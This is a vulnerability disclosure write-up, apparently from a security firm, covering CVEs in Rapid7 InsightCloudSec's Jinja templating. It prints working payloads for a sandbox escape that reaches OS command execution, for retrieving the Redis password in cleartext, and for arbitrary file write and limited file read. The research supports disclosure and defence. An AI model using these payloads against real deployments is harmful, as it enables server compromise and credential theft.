Exploiting Rapid7’s InsightCloudSec

Mike Alfaro 3/21/2023

Introduction

InsightCloudSec (formerly DivvyCloud) is a fully-integrated cloud-native security platform (CNSP) that enables organizations to drive cloud security forward through continuous security & compliance. With InsightCloudSec, Rapid7 is the first organization to bring together a single solution that integrates posture management, identity & access management, infrastructure-as-code, and Kubernetes workload protection to enable teams to safely speed up their cloud adoption without compromise.

https://docs.rapid7.com/insightcloudsec/

The InsightCloudSec/DivvyCloud (ICS) platform allows central management of cloud assets and resources across multiple cloud providers in a single, unified web interface.

ICS allows for the automation of inventory management tasks such as:

  • Compliance checks
  • Resource management
  • Auto-tagging

ICS allows for event-based action execution. For example, should an EC2 instance have a rule allowing RDP to be world-accessible, a user-built action will fire. These may include sending an email to a cloud security team, spinning down the instance, etc.

Automation of these tasks is done through “bots.”

Exploitation

CVE-2023-1304

Initial attack surface exploration of the bot framework showed that ICS allows for Jinja templating within the body of an email sent when the bot is triggered. The presence of Jinja templating was a thoroughly enticing opportunity for a deep dive into the application’s Jinja rendering configuration.

https://docs.rapid7.com/insightcloudsec/jinja2

The first step for exploration was to create a bot which could be triggered arbitrarily to render the Jinja template. This naturally requires the user to have privileges within the application to create or edit bots. with the following roles:

  • Bot creator
  • Bot editor
Fig. 1. Creating the bot
Fig. 1. Creating the bot

Once created, we assign a resource to monitor, and a filter which specifies the conditions for which the bot will execute:

Fig. 2. Specifying the monitored resource type (Instance)
Fig. 2. Specifying the monitored resource type (Instance)
Fig. 3. Selecting the filter for the monitored resource type
Fig. 3. Selecting the filter for the monitored resource type

NephoSec selected the “Always Match” filter for ease of exploitation, allowing rapid triggering of the preceding action. NephoSec then chose the “Send Bulk Email” action to trigger when the filter condition is met:

Fig. 5. Selecting the "Send Bulk Email" action
Fig. 4. Selecting the “Send Bulk Email” action
Fig. 6. Configuration of the "Send Bulk Email" action
Fig. 5. Configuration of the “Send Bulk Email” action

Remote Code Execution

NephoSec noted the “Preview Message” link sent the contents of the message to an API endpoint via POST request which rendered the provided email body (including Jinja templates). NephoSec leveraged BurpSuite to capture and modify the template rendering request:

Fig. 7. Sending a template email to the Jinja mock endpoint
Fig. 6. Sending a template email to the Jinja mock endpoint
Fig. 8. Confirming Jinja template rendering
Fig. 7. Confirming Jinja template rendering

Per ICS documentation the user may access the “resource” object within the templating to provide details about the impacted resource which may include resource type, public ip, associated tags, etc as can be seen in Figure 9:

Fig. 9. Object disclosure when rendering "resource" object
Fig. 8. Object disclosure when rendering “resource” object

NephoSec attempted to test access to “sensitive” methods associated with an object such as “__dir__”, but found the Jinja rendering engine leveraged security sandboxing as seen in the following request:

Fig. 10. Security error when accessing unsafe methods or members
Fig. 9. Security error when accessing unsafe methods or members

As the typical attack chain for Jinja was not feasible, NephoSec explored the available objects within the Instance class to aid in exploitation.

NephoSec identified the “db” member available to the Instance object by leveraging BurpSuite’s “Intruder”:

Fig. 11. Intruder attack enumerating member variables of the Instance class
Fig. 10. Intruder attack enumerating member variables of the Instance class
Fig. 12. Object disclosure of the "DivvyCloudGatewayORM" object
Fig. 11. Object disclosure of the “DivvyCloudGatewayORM” object

Referring to the source code within the ICS container, NephoSec identified the DivvyCloudGatewayORM class exposed a method named “GetHighestNumberedOrganization” which returned an Organization

Fig. 13, 14. DivvyCloudGatewayORM exposed functions
Fig. 13, 14. DivvyCloudGatewayORM exposed functions
Fig. 12, 13. DivvyCloudGatewayORM exposed functions

The Organization class inherited from the “Base,” “AbstractListTable,” and “ResourceMixin” classes as can be seen in the source definition:

Fig. 15. Definition of the Organization class
Fig. 14. Definition of the Organization class

By examining the AbstractListTable object, NephoSec found a method exposed by the AbstractListTable class named “access_query_column” with the following definition:

Fig. 16. "access_query_column" exposing the "getattr" method
Fig. 15. “access_query_column” exposing the “getattr” method

By chaining the db member, the Organization class, and the AbstractMixinTable base class, NephoSec had the ability to invoke the stdlib “getattr” method, allowing access to “sensitive” methods like “__dir__” as can be seen in the following request:

Fig. 17. Successful referencing of the dir method
Fig. 16. Successful referencing of the dir method

Using this prototype, NephoSec confirmed the ability to execute the built-in dir method against the resource.db object as seen in the following request:

Fig. 18. Invoking builtin dir method against "resource.db" object
Fig. 17. Invoking built-in dir method against “resource.db” object

Using this new gadget, NephoSec crafted a Jinja template to achieve remote code execution using the following logic:

1. Use the dir gadget to access __class__ , __mro__ , and __getattribute__
2. Use __getattribute__ to reference __subclasses__
3. Use __subclasses__ to reference the “warncls” class
4. Use the system module within the “warncls” class to invoke os.system

NephoSec used the following payload to successfully invoke the command uname -a formatted without annoying padding, and shown in the request as seen in the following figures:

{% set a = resource.db.GetHighestNumberedOrganization().access_query_column %}
{% set _getattr = a(None, '__getattribute__')[1] %}
{% set subclasses = _getattr( _getattr( _getattr( (), '__class__' ), '__base__'),
'__subclasses__')() %} {% set warncls = subclasses[115] %}
{% set mod_sys = _getattr( _getattr( warncls, '__init__'), '__globals__')['sys'] %}
{{ mod_sys.modules['os'].popen('uname -a').read() }}
Fig. 18. Jinja template (without padding for readability)
Fig. 20. Full payload for command execution (with padding for readability) executing uname -a
Fig. 19. Full payload for command execution (with padding for readability) executing uname -a

This occurs due to the accessibility to the getattr() method allowing unconstrained access to private methods which were denied by the security sandbox.

In essence, the payload may be reduced to the following python code:

cls = ().__class__ # get a base class
base = cls.__base__ # reference base class
subclasses = base.__subclasses__ # reference subclasses list
warncls = subclasses[115] # reference the "warning" subclass which contains a path
to reach the sys module
mod_sys = warncls.__init__.__globals__['sys'] # reference the sys module
mod_sys.modules['os'].popen('uname -a').read() # invoke and read stdout from the
command "uname -a"
# akin to just running os.popen() ...
CVE-2023-1306

NephoSec identified the following execution path to allow execution of Redis commands on the connected instance:

{{ resource.db.logger.root.handlers[1].redis }}

Provides the following available methods:

Redis Password Retrieval

Leveraging the getattr method, NephoSec identified a path to retrieve the cleartext password for the redis instance in use by ICS by executing the following payload:

{{ resource.db.logger.root.handlers[1].redis.connection_pool.get_connection(command_name='').password }}

Confirmation can be seen in the following request (this instance has been decommissioned and the password is no longer valid):

Arbitrary File Overwrite

CVE-2023-1305

NephoSec identified the “Box” object referenced by “resource.ext” had the ability to read and write files as yaml and json. NephoSec used this class to write JSON to arbitrary files (that are writeable by the user) leveraging the following payload:

{{ resource.ext.from_json( '{ \"a\" : 1 }' ).to_json(filename='/tmp/test') }}
{# writing to file #}
{{ resource.ext.from_json(filename='/tmp/test').to_json() }}
{# reading the written contents #}

Limited Arbitrary File Read

NephoSec noted extremely limited arbitrary file read capabilities, as the target file on the host MUST be parseable by either the json or yaml parser provided by the Box object as seen in the following payload:

{{ resource.ext.from_yaml(filename='/etc/group') }}